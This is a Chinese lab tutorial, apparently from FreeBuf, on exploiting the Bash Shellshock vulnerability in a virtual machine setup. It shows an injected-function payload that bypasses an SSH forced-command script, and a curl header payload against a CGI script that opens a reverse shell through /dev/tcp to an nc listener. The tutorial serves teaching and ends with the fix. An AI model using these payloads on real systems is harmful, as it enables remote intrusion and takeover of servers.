在上篇《安全科普:让高大上的Bash破壳漏洞不再难理解(上)》中我们介绍了不少基础知识,现在我们是时候搭建个环境实战一下了。

所需环境介绍

虚拟机:

推荐使用virtualbox

攻击端:

Linux即可,本文使用的都是命令行工具。

受害端:

谁说Kali Linux只能用来进行攻击的?本文使用的是Kali Linux1.08版本含有破壳漏洞的版本,ip为192.168.1.105。

虚拟机的使用和配置敬请百度~,确保攻击端和被攻击端可连通。

利用破壳漏洞绕过SSH控制脚本

0×01 建立一个名为‘shellshock用户

useradd -d /home/shellshock -s /bin/bash shellshock

其中 /home/shellshock/ 是’家‘(home)目录,/bin/bash/是Bash shell的绝对目录

检查一下我们的创建的用户:

cat /etc/passwd | grep ‘shellshock’

创建文件夹: 

mkdir /home/shellshock

让shellshock用户拥有文件夹的所有权:

chown -R shellshock /home/shellshock


0×02 SSH客户端创建授权密钥

通常我们使用用户名和密码登录开放SSH的机器,为了成功实现这个实验,我们需要配置授权密钥,使得登陆时无须输入用户名和密码。

使用公钥验证登录是更佳安全的方法,SSH公钥验证使用的是非对称加密算法(例如:RSA ¥%wiki链接)以产生一对密钥(私钥和公钥)。

私钥储存在客户端(本文为攻击端),公钥储存在运行SSH的服务器上(本文为受害端)。

登录攻击端进行配置:

ssh-keygen -t rsa

会提示我们存放位置和是否使用保护密码,我们全部一路回车解决:

公钥和私钥创建后存放的位置:

私钥 /home/gaba/.ssh/id_rsa
公钥 /home/gaba/.ssh/id_rsa.pub

现在我们通过ftp将公钥传到SSH服务端(受害端):

cd /home/gaba/.ssh/
sftp [email protected]

然后将id_rsa.pub传到受害端:

#注意KaliLinux开启了FTP服务:
1.安装vsftpd:
apt-get intall vsftpd
2.开启vsftpd:
service vsftpd start

0×03 将授权密钥添加到SSH服务器

检查公钥是否称成功传了过来:

ls -l id_rsa.pub

创建.shh文件夹:

mkdir /home/shellshock/.ssh

存放授权密钥到authorized_key:

cat id_rsa.pub > /home/shellshock/.ssh/authorized_key

检查sshd_config

注意是sshd_config不是ssh_config,按Tab时手下留情。

0×04 从客户端登录

ssh [email protected]

成功登录受害端,我们再试一下加上一条命令:

ssh [email protected] uname

OK,uname命令执行了,我们也可以在受害端尝试执行一下uname命令看看回显对不对。

我们知道了可以将命令作为参数 跟在ssh登录的命令后面。尝试uname -a 命令后我们会知道是在ssh目标机中执行的:

0×05 用破壳绕过脆弱的验证

我们尝试在验证密钥中添加一段脚本:

command="/home/shellshock/.ssh/script.sh"

脚本内容:

让脚本可执行:

chmod +x script.sh

现在我们再用ssh [email protected] uname登录:

script.sh中的SSH_ORIGNAL_COMMAND中存放着用户在ssh登录时提供的命令,我们在公钥中插入的这段命令是用来控制命令的执行(比如本文的uname)。知识点传送门:SSH小技巧

利用破壳漏洞绕过控制脚本:

'() { :;}; uname'

uname命令在一次执行了,我们绕过了控制脚本。

HTTP/S服务器破壳漏洞利用

开启Kali Linux的apache2服务:

service apache2 start

按照下面图片中的位置写入vulerable.sh

在攻击端上执行:

curl http://192.168.1.104/cgi-bin/vulnerable.sh

得到了相应的回显“bash examlple”

使用-v参数获得更多过程中的信息:

curl -v http://192.168.1.104/cgi-bin/vulnerable.sh

恩,我们大概知道了curl在本文中的用途了,好奇心强的童鞋要记得百度这是一个什么工具哦。

那么,如果有一台服务器存在破壳漏洞并且在/cgi-bin/目录下有一个可执行脚本,那么我们怎么利用破壳漏洞呢?

由于父进程执行一个Bash shell后会将所有的参数传递到子进程的环境变量,我们利用这一点发送一条恶意指令来获得一个反向shell:

首先nc监听:

nc -lv 4444

再打开一个终端,然后:

curl –H 'x: () { :;}; /bin/bash –I >& /dev/tcp/攻击端ip/4444 0>&1' http://受害端ip/cgi-bin/vulnerable.sh

效果如下:

我们利用破壳漏洞得到了反向shell进入了受害机。

如何发现可利用这种漏洞的机器呢?

违法的事情我们坚决不做,更多深入的姿势在FreeBuf中有文章有说过哦~

如何修补破壳漏洞

升级Bash o(^_^)o…

[本文信息来源:practical-shellshock-exploitation-part-2,有改动,转载请注明来自:FreeBuf.com]

源链接

Hacking more

...